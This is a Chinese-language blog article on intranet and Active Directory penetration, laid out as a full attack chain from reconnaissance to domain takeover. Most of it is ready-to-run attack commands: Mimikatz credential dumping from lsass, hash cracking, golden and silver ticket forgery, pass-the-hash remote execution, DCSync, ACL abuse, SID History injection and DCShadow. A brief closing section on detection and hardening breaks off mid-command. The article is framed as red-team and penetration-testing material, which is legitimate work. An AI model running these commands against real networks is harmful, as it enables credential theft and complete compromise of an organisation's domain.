内网渗透与域渗透:从初始访问到域控沦陷的完整攻击链剖析
引言
在企业网络环境中,内网渗透和域渗透是红队评估和渗透测试中至关重要的环节。随着企业网络规模的不断扩大和业务复杂度的提升,传统的边界防御已经无法完全阻止攻击者的入侵。一旦攻击者突破外围防线,内网往往成为他们横向移动和权限提升的主战场。本文将从实战角度,深入剖析内网渗透与域渗透的完整攻击链条,分享一些鲜为人知的技术细节和防御绕过技巧。
内网信息收集:知己知彼,百战不殆
主机发现技术
在内网环境中,主机发现是渗透测试的第一步。传统的ICMP扫描往往会被安全设备拦截,因此需要采用更加隐蔽的方式:
# ARP扫描发现存活主机
arp-scan -l --interface=eth0
# 基于NetBIOS的主机发现
nbtscan 192.168.1.0/24
# 使用PowerShell进行端口扫描
1..255 | % {echo "192.168.1.$_"; ping -n 1 -w 100 192.168.1.$_} | Select-String "Reply"
网络拓扑探测
了解网络拓扑结构对于后续的横向移动至关重要。通过以下命令可以获取关键信息:
# 查看路由表
route print
# 查看ARP缓存
arp -a
# 探测网络段
tracert 目标IP
# 查看DNS服务器信息
ipconfig /all
服务枚举与漏洞识别
使用自动化工具结合手动验证的方式,对发现的系统和服务进行深入分析:
# Nmap综合扫描
nmap -sS -sV -sC -O -A 目标IP
# SMB服务枚举
enum4linux -a 目标IP
# SNMP信息收集
snmpwalk -c public -v1 目标IP
权限提升:从普通用户到系统管理员
Windows系统提权
内核漏洞利用
寻找合适的内核漏洞是提权的重要途径,但需要谨慎选择以避免系统崩溃:
# 使用PowerUp进行权限提升检查
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# 检查系统补丁情况
systeminfo | findstr "KB"
# Watson工具检测可用漏洞
.\Watson.exe
服务配置滥用
错误配置的服务往往是提权的突破口:
# 查找可写服务路径
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# 检查服务权限
sc qc 服务名
# 查找不安全的服务权限
.\AccessEnum.exe
Linux系统提权
SUID/GUID滥用
# 查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
# 检查可写目录
find / -perm -2 -type d 2>/dev/null
# 查找具有capabilities的文件
getcap -r / 2>/dev/null
计划任务与Cron作业
# 查看计划任务
crontab -l
ls -la /etc/cron*
# 检查可写的计划任务脚本
find /etc/cron* -type f -perm -o+w
横向移动:在内网中自由穿行
凭证获取与破解
内存凭证提取
# 使用Mimikatz提取凭证
privilege::debug
sekurlsa::logonpasswords
# 使用Procdump+Mimikatz组合
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# 使用SharpKatz
SharpKatz.exe --Command logonpasswords
密码哈希破解
# 使用Hashcat进行破解
hashcat -m 1000 hashes.txt wordlist.txt
# 使用John the Ripper
john --format=NT hashes.txt --wordlist=wordlist.txt
# 彩虹表攻击
rcracki_mt -t 4 -d /rt/rt_cable hashes.txt
票据攻击
黄金票据与白银票据
# 黄金票据生成
kerberos::golden /admin:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt
# 白银票据生成
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /target:server.domain.com /service:cifs /rc4:server_hash /user:Administrator /ptt
# 票据导出与重用
kerberos::list /export
kerberos::ptt ticket.kirbi
远程执行与代理搭建
PSExec与WMI利用
# 使用PSExec执行命令
PsExec.exe \\目标IP -u 用户名 -p 密码 cmd.exe
# WMI远程执行
wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd.exe /c whoami"
# Invoke-WMIExec
Invoke-WMIExec -Target 目标IP -Domain 域名 -Username 用户名 -Hash NTLM哈希 -Command "whoami"
SSH隧道与代理链
# SSH动态端口转发
ssh -D 1080 user@跳板机IP
# SSH本地端口转发
ssh -L 本地端口:目标IP:目标端口 user@跳板机IP
# 使用proxychains进行代理
proxychains nmap -sT -Pn 目标IP
域渗透:攻破企业核心
域信息收集
基础域信息枚举
# 使用PowerView收集域信息
Get-NetDomain
Get-NetDomainController
Get-NetUser | select samaccountname,description
Get-NetComputer | select name,operatingsystem
# 使用BloodHound进行关系分析
SharpHound.exe --CollectionMethod All
组策略分析
# 获取组策略信息
Get-GPO -All | select DisplayName, GPOStatus
# 分析GPP密码
findstr /S /I cpassword \\域控\sysvol\*.xml
域权限提升
ACL滥用攻击
# 查找具有复制权限的账户
Find-InterestingDomainAcl | ?{$_.IdentityReferenceName -match "某用户"}
# DCSync攻击模拟
lsadump::dcsync /domain:domain.com /user:administrator
# 基于ACL的权限提升
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity 用户名 -Rights DCSync
委派攻击
# 查找非约束委派主机
Get-NetComputer -Unconstrained | select name
# 查找基于资源的约束委派
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtoactonbehalfofotheridentity
域持久化与后渗透
黄金票据持久化
# 创建黄金票据
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:哈希值 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# 票据注入当前会话
misc::ptt ticket.kirbi
SID History注入
# 添加SID History
DSInternals::Set-ADAccountSIDHistory -SamAccountName 用户名 -SIDHistory S-1-5-21-...-519
# 检查SID History
Get-ADUser 用户名 -Properties sidhistory
DCShadow攻击
# 注册虚假的域控
lsadump::dcshadow /object:cn=user,dc=domain,dc=com /attribute:primarygroupid /value:512
# 推送更改
lsadump::dcshadow /push
防御与检测:构建纵深防御体系
攻击检测技术
异常行为监控
# 监控异常登录行为
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624,4625} |
Where-Object {$_.Properties[8].Value -eq 3} |
Select-Object TimeCreated,Properties
# 检测DCSync攻击
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} |
Where-Object {$_.Properties[3].Value -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'}
内存保护措施
# 启用Credential Guard
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-CredentialGuard
# 配置LSASS保护
REG ADD
> 评论区域 (0 条)_
发表评论